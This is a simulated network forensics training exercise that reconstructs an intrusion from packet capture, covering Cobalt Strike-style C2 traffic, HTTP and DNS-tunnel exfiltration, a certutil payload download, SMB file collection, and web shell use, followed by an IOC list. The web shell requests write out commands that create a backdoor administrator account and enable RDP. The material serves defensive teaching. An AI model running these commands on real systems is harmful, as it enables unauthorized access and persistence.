================================================================================ SIMULATED NETWORK FORENSICS DATA -- FORENSIC TRAINING EXERCISE Case: INTL-2025-0042 | Source: Network TAP on VLAN 5 (Workstation Segment) Capture: capture_vlan5_20250715.pcap | Duration: 02:30 - 04:30 UTC SHA-256: d4e5f6a7b8c9...1d2e (simulated) Analyzed with: Wireshark 4.2.5, tshark, NetworkMiner 2.9 ================================================================================ ======================================== SESSION 1: Initial C2 Communication (HTTPS) ======================================== Timestamp: 2025-07-15 02:47:34.127 UTC Source: 10.0.5.21:49823 Destination: 185.220.101.47:8443 Protocol: TLS 1.2 Duration: 1h 27m 59s (long-lived session) Bytes Sent: 2,847,293 Bytes Recv: 14,502,871 TLS Certificate Details: Version: 3 (TLS 1.2) Serial Number: 0x0A1B2C3D4E5F Signature Algorithm: sha256WithRSAEncryption Issuer: CN=localhost, O=Internet Widgits Pty Ltd, ST=Some-State, C=AU Subject: CN=localhost, O=Internet Widgits Pty Ltd, ST=Some-State, C=AU Not Before: 2025-07-10 00:00:00 UTC Not After: 2026-07-10 00:00:00 UTC Public Key: RSA 2048 bit SHA-256 Fingerprint: 3a:f2:8b:c1:4d:e5:6f:a7:92:b3:c4:d5:e6:f7:08:19:... >>> ALERT: Self-signed certificate with default OpenSSL fields >>> CN=localhost is a strong indicator of C2 infrastructure >>> Certificate created only 5 days before the incident >>> "Internet Widgits Pty Ltd" is the default OpenSSL organization -- not customized >>> JA3 Hash: 72a589da586844d7f0818ce684948eea (matches known Cobalt Strike beacon) >>> JA3S Hash: ae4edc6faf64d08308082ad26be60767 TLS Session Characteristics: - Beacon interval: ~60 seconds with 25% jitter (45-75s between connections) - Consistent POST request sizes suggest C2 check-in pattern - Periodic large responses indicate task delivery from C2 server - Session uses TLS 1.2 (not 1.3) -- older C2 framework ======================================== SESSION 2: HTTP POST -- Payload Upload to C2 ======================================== Timestamp: 2025-07-15 03:46:15.842 UTC Source: 10.0.5.21:49912 Destination: 185.220.101.47:443 Protocol: HTTP/1.1 (unencrypted within TLS tunnel, reconstructed from memory) --- Reconstructed HTTP Request --- POST /upload HTTP/1.1 Host: 185.220.101.47 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/octet-stream X-Session-ID: 7a4f21c-beacon-03 Content-Length: 52428800 Connection: keep-alive [Base64-encoded payload body -- first 512 bytes shown] UEsDBBQAAAAIAGRXdFkAAAAAAAAAAAAAABIAHABDb25maWRlbnRpYWwvUFgF AAEYAAsAAQAEAOgDAAAEAOgDAABQSwMEFAAIAAgAZFd0WQAAAAAAAAAAdBAA ABsAHABDb25maWRlbnRpYWwvUTNfRmluYW5jaWFscy54bHN4VVQJAAOhH65n oR+uZ3V4CwABBOgDAAAE6AMAAJVXezfTaxzHJ2abyCV3udXuZBdzLZncKkop ypXcb8ltUq4RJSGXyCXkfu+RS4Rc4oTEkCHXOMP8Zvbb3vv85Z7zx3vt5/k+ z/P9fp7POeeKcvDwdhVqU4C7eAQ6mJNAAjvCHAWYQUYBQRaeFrbiEuqG3oau ... [Truncated -- total 52,428,800 bytes / ~50 MB] --- Reconstructed HTTP Response --- HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 15 Jul 2025 03:47:02 GMT Content-Type: application/json Content-Length: 47 {"status":"received","id":"exfil-042-20250715"} >>> ALERT: 50 MB data exfiltration to C2 server >>> Base64 content decodes to a ZIP archive (PK magic bytes: 50 4B 03 04) >>> Archive contains files from "Confidential/" directory >>> Filename within archive: "Q3_Financials.xlsx" -- matches file on victim filesystem >>> X-Session-ID header contains beacon identifier ======================================== SESSION 3: DNS Tunneling (Data Exfiltration Channel) ======================================== Timestamp Range: 2025-07-15 03:50:00 - 04:10:00 UTC Source: 10.0.5.21 Destination: 185.220.101.47 (authoritative NS for data-analytics-cdn.net) Protocol: DNS (UDP/53) Total Queries: 847 TXT record queries in 20 minutes --- Sample DNS TXT Queries (data encoded in subdomain labels) --- Query #1: 2025-07-15 03:50:01.234 Type: TXT Name: aGVsbG8gd29ybGQgdGhpcyBpcyBhIHRlc3Q.0001.tx.data-analytics-cdn.net Response: TXT "ACK-0001" Query #2: 2025-07-15 03:50:02.891 Type: TXT Name: UEsDBBQAAAAIAGRXdFkAAAAAAAAAAA.0002.tx.data-analytics-cdn.net Response: TXT "ACK-0002" Query #3: 2025-07-15 03:50:04.102 Type: TXT Name: c2VjcmV0IGRvY3VtZW50IGNvbnRlbnQ.0003.tx.data-analytics-cdn.net Response: TXT "ACK-0003" Query #47: 2025-07-15 03:52:18.445 Type: TXT Name: Y3JlZGVudGlhbHM6YWRtaW46UEBzc3cwcmQ.0047.tx.data-analytics-cdn.net Response: TXT "ACK-0047" >>> DECODED (base64): "credentials:admin:P@ssw0rd" >>> ALERT: Credentials being exfiltrated via DNS tunneling Query #412: 2025-07-15 03:59:55.672 Type: TXT Name: ZW5kIG9mIGV4ZmlsdHJhdGlvbiBiYXRjaCAx.0412.tx.data-analytics-cdn.net Response: TXT "ACK-0412-BATCH-COMPLETE" --- DNS Query Statistics --- Total TXT queries to data-analytics-cdn.net: 847 Average query rate: ~42 queries/minute Average subdomain label length: 38 characters (base64) Sequential counter in subdomain: 0001 to 0847 Estimated data exfiltrated via DNS: ~31 KB (encoded) All queries answered by: 185.220.101.47 >>> ALERT: DNS TXT record queries used as covert data exfiltration channel >>> Subdomain labels contain base64-encoded data chunks >>> Sequential numbering enables reassembly at C2 server >>> Domain data-analytics-cdn.net registered 7 days before incident >>> Registrar: NameCheap | Registration privacy enabled >>> Normal DNS baseline for this workstation: ~50 queries/hour, 0 TXT queries/day ======================================== SESSION 4: Payload Download via Certutil (HTTP) ======================================== Timestamp: 2025-07-15 03:22:08.331 UTC Source: 10.0.5.21:49902 Destination: 198.51.100.23:80 Protocol: HTTP/1.1 --- HTTP Request --- GET /payload.b64 HTTP/1.1 Host: 198.51.100.23 User-Agent: Microsoft-CryptoAPI/10.0 Connection: Keep-Alive Cache-Control: no-cache --- HTTP Response --- HTTP/1.1 200 OK Server: Apache/2.4.41 Date: Tue, 15 Jul 2025 03:22:08 GMT Content-Type: application/octet-stream Content-Length: 524288 Last-Modified: Mon, 14 Jul 2025 22:15:00 GMT ETag: "80000-61b2f3c4d5e6f" [Base64-encoded content -- 524,288 bytes] TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAOAAAAB4fug4AtAnNIbgBTM0hVGhpcyBwcm9 ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAA ... >>> ALERT: Certutil downloading base64-encoded PE file from staging server >>> User-Agent "Microsoft-CryptoAPI/10.0" is the default certutil UA >>> Base64 decodes to a PE executable (MZ header: 4D 5A) >>> Decoded file size: 393,216 bytes >>> Decoded SHA-256: e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7 >>> VirusTotal hits (simulated): 47/72 engines detect as Trojan.GenericKD.46789012 --- Staging Server Details --- IP Address: 198.51.100.23 Hostname: (no PTR record) HTTP Server: Apache/2.4.41 SSL: Not configured (HTTP only) Hosted files observed: /payload.b64 524,288 bytes (PE executable, base64) /update.dll 245,760 bytes (retrieved earlier, not captured in pcap window) /config.dat 4,096 bytes (C2 configuration, encrypted) >>> Server appears to be a compromised web server used for staging >>> No index page, directory listing disabled >>> Server located in AS12345 (Example Hosting Provider) ======================================== SESSION 5: Lateral Movement -- SMB Traffic ======================================== Timestamp: 2025-07-15 03:08:44.556 UTC Source: 10.0.5.21 (WORKSTATION-PC) Destination: 10.0.5.50 (FILESERVER01) Protocol: SMB2/3 --- SMB Session Details --- Authentication: Time: 2025-07-15 03:08:44 UTC Account: CORP\jdoe Type: NTLM v2 Status: STATUS_SUCCESS File Operations (reconstructed from SMB traffic): 03:08:45 Tree Connect \\FILESERVER01\Confidential$ STATUS_SUCCESS 03:08:46 Create Q3_Financials.xlsx Read Access 03:08:47 Read Q3_Financials.xlsx 45,056 bytes 03:08:47 Close Q3_Financials.xlsx 03:09:01 Create Strategic_Plan_2026.pptx Read Access 03:09:02 Read Strategic_Plan_2026.pptx 2,097,152 bytes 03:09:05 Close Strategic_Plan_2026.pptx 03:09:15 Create Employee_Salaries.xlsx Read Access 03:09:16 Read Employee_Salaries.xlsx 1,048,576 bytes 03:09:18 Close Employee_Salaries.xlsx 03:09:30 Create M&A_Targets.docx Read Access 03:09:31 Read M&A_Targets.docx 524,288 bytes 03:09:32 Close M&A_Targets.docx 03:10:00 Create Customer_Database_Export.csv Read Access 03:10:05 Read Customer_Database_Export.csv 48,234,496 bytes 03:10:45 Close Customer_Database_Export.csv 03:10:46 Tree Disconnect \\FILESERVER01\Confidential$ Total data read from file server: ~52 MB >>> ALERT: Access to hidden administrative share Confidential$ >>> Sensitive files accessed: financials, strategic plans, salary data, M&A documents >>> Customer database (48 MB) matches approximate size of exfiltrated archive >>> All access within 2-minute window -- automated collection, not manual browsing ======================================== SESSION 6: Web Shell Communication ======================================== Timestamp Range: 2025-07-15 03:32:00 - 03:40:00 UTC Source: Various (10.0.5.21, then external) Destination: 10.0.5.21:80 (IIS on WORKSTATION-PC) Protocol: HTTP/1.1 --- Web Shell Request #1 (test from attacker) --- POST /aspnet_client/system_web/4_0_30319/error_handler.aspx HTTP/1.1 Host: 10.0.5.21 User-Agent: Mozilla/5.0 (compatible) Content-Type: application/x-www-form-urlencoded Content-Length: 23 cmd=whoami+%2Fall --- Web Shell Response #1 --- HTTP/1.1 200 OK Content-Type: text/html 
corp\workstation-pc$

USER INFORMATION
----------------
User Name           SID
=================== =============================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-...
--- Web Shell Request #2 (establish alternative access) --- POST /aspnet_client/system_web/4_0_30319/error_handler.aspx HTTP/1.1 Host: 10.0.5.21 User-Agent: Mozilla/5.0 (compatible) Content-Type: application/x-www-form-urlencoded Content-Length: 89 cmd=net+user+backdoor+C0mpl3x%21Pass+%2Fadd+%26%26+net+localgroup+administrators+backdoor+%2Fadd >>> DECODED: net user backdoor C0mpl3x!Pass /add && net localgroup administrators backdoor /add >>> ALERT: Web shell used to create backdoor local admin account --- Web Shell Request #3 (enable RDP for persistence) --- POST /aspnet_client/system_web/4_0_30319/error_handler.aspx HTTP/1.1 Host: 10.0.5.21 User-Agent: Mozilla/5.0 (compatible) Content-Type: application/x-www-form-urlencoded Content-Length: 156 cmd=reg+add+%22HKLM%5CSYSTEM%5CCurrentControlSet%5CControl%5CTerminal+Server%22+%2Fv+fDenyTSConnections+%2Ft+REG_DWORD+%2Fd+0+%2Ff >>> DECODED: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f >>> ALERT: Enabling RDP via web shell for alternative persistent access ======================================== NETWORK INDICATORS OF COMPROMISE (IOCs) ======================================== C2 Infrastructure: 185.220.101.47:8443 Primary C2 (Cobalt Strike beacon, HTTPS) 185.220.101.47:443 Secondary C2 channel (data exfiltration) 185.220.101.47:53 DNS tunneling endpoint (authoritative NS) Staging Server: 198.51.100.23:80 Payload hosting (HTTP, no TLS) Malicious Domain: data-analytics-cdn.net DNS tunneling domain (registered 2025-07-08) Attacker Source IP: 91.234.99.187 RDP source (initial access) JA3 Fingerprints: 72a589da586844d7f0818ce684948eea (C2 client -- Cobalt Strike) ae4edc6faf64d08308082ad26be60767 (C2 server response) TLS Certificate: SHA-256: 3a:f2:8b:c1:4d:e5:6f:a7:92:b3:c4:d5:e6:f7:08:19:... CN=localhost, O=Internet Widgits Pty Ltd (self-signed, default OpenSSL) User-Agents: Microsoft-CryptoAPI/10.0 (certutil LOLBin download) Mozilla/5.0 (compatible) (web shell interaction) Files Downloaded: /stager (PowerShell stager from C2) /payload.b64 (PE executable from staging server) /update.dll (DLL implant from staging server) /config.dat (C2 configuration from staging server) ================================================================================ END OF SIMULATED NETWORK FORENSICS DATA ================================================================================